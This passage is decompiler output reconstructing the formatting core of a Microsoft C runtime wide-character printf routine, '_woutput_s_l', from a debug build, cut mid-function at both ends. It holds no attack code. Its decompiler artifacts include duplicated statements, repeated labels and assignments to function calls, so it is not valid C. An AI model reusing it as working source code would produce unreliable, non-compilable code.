								} else {
									_t564 = E00428410(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E00430820(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E004308A0( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t672 - 0x24)) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										if(( *(_t672 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t672 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t672 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											 *((intOrPtr*)(_t672 - 0x24)) =  *((intOrPtr*)(_t672 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t672 - 0x28)) != 0) {
																			L212:
																			if( *(_t672 - 0x20) != 0) {
																				L0041C5D0( *(_t672 - 0x20), 2);
																				_t675 = _t675 + 8;
																				 *(_t672 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
																				_t578 =  *(_t672 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
																				if(( *(_t672 - 0x454) & 0x0000ffff) == 0 ||  *(_t672 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t672 - 0x4d8) = 0;
																					} else {
																						 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
																				_t642 =  *(_t672 - 0x450) * 9;
																				_t509 =  *(_t672 - 0x45c);
																				_t586 = ( *(_t642 + _t509 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t672 - 0x45c) != 8) {
																					L16:
																					 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
																					if( *(_t672 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M0043CA14))) {
																						case 0:
																							L18:
																							 *(_t672 - 0xc) = 1;
																							E0043CB20( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																							_t675 = _t675 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t57 =  *(__ebp - 0x4e4) + 0x43ca4c; // 0x498d04
																							__ecx =  *_t57 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA34))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t81;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t92;
																								 *(__ebp - 0x30) = __ecx + _t92;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t100 =  *(__ebp - 0x4e8) + 0x43ca74; // 0xc2819003
																							__ecx =  *_t100 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA60))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t640 = 0;
																					if(0 == 0) {
																						 *(_t672 - 0x4dc) = 0;
																					} else {
																						 *(_t672 - 0x4dc) = 1;
																					}
																					 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
																					if( *(_t672 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t517 = L0041E410();
																						_t675 = _t675 + 0x14;
																						if(_t517 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t672 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422F00(_t586))) = 0x16;
																						E00422C90(_t565, _t586, _t670, _t671, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t672 - 0x4c8) = 0xffffffff;
																						E0041AEB0(_t672 - 0x40);
																						_t502 =  *(_t672 - 0x4c8);
																						L225:
																						return E0042BD50(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
																					}
																				}
																			}
																			L215:
																			if( *(_t672 - 0x45c) == 0 ||  *(_t672 - 0x45c) == 7) {
																				 *(_t672 - 0x4f8) = 1;
																			} else {
																				 *(_t672 - 0x4f8) = 0;
																			}
																			_t640 =  *(_t672 - 0x4f8);
																			 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
																			if( *(_t672 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t507 = L0041E410();
																				_t675 = _t675 + 0x14;
																				if(_t507 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t672 - 0x4bc) != 0) {
																				 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
																				E0041AEB0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422F00(_t578))) = 0x16;
																				E00422C90(_t565, _t578, _t670, _t671, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t672 - 0x4d0) = 0xffffffff;
																				E0041AEB0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t672 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t672 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t672 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t672 - 0x14)) = 0x20;
																						 *(_t672 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t672 - 0x14)) = 0x2b;
																					 *(_t672 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t672 - 0x14)) = 0x2d;
																				 *(_t672 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *((intOrPtr*)(_t672 - 0x24)) -  *(_t672 - 0x1c);
																		if(( *(_t672 - 0x10) & 0x0000000c) == 0) {
																			E0043CB80(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		E0043CBC0( *(_t672 - 0x1c), _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																		_t675 = _t675 + 0x10;
																		if(( *(_t672 - 0x10) & 0x00000008) != 0 && ( *(_t672 - 0x10) & 0x00000004) == 0) {
																			E0043CB80(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		if( *(_t672 - 0xc) != 0 ||  *((intOrPtr*)(_t672 - 0x24)) <= 0) {
																			L208:
																			E0043CBC0( *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 - 4)),  *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
																			 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t672 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t535 = E0041AEE0(_t672 - 0x40);
																				_t539 = E0043B620(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AEE0(_t672 - 0x40))) + 0xac)), _t535);
																				_t675 = _t675 + 0x10;
																				 *((intOrPtr*)(_t672 - 0x4b8)) = _t539;
																				if( *((intOrPtr*)(_t672 - 0x4b8)) > 0) {
																					L206:
																					E0043CB20( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																					_t675 = _t675 + 0xc;
																					 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *((intOrPtr*)(_t672 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t672 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t672 - 0x44c) >= 0 && ( *(_t672 - 0x10) & 0x00000004) != 0) {
																				E0043CB80(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																				_t675 = _t675 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0x43cae0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CAA4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E004283F0(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B950( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xab8ad97d
																					E00424750(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEE0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0x2b8ac62f
																						E00424750(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEE0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0x2b8ac616
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E004283F0(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEE0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AEE0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B620(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E004283F0(__ebp + 0x14);
																			if(E00433FA0() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E410();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
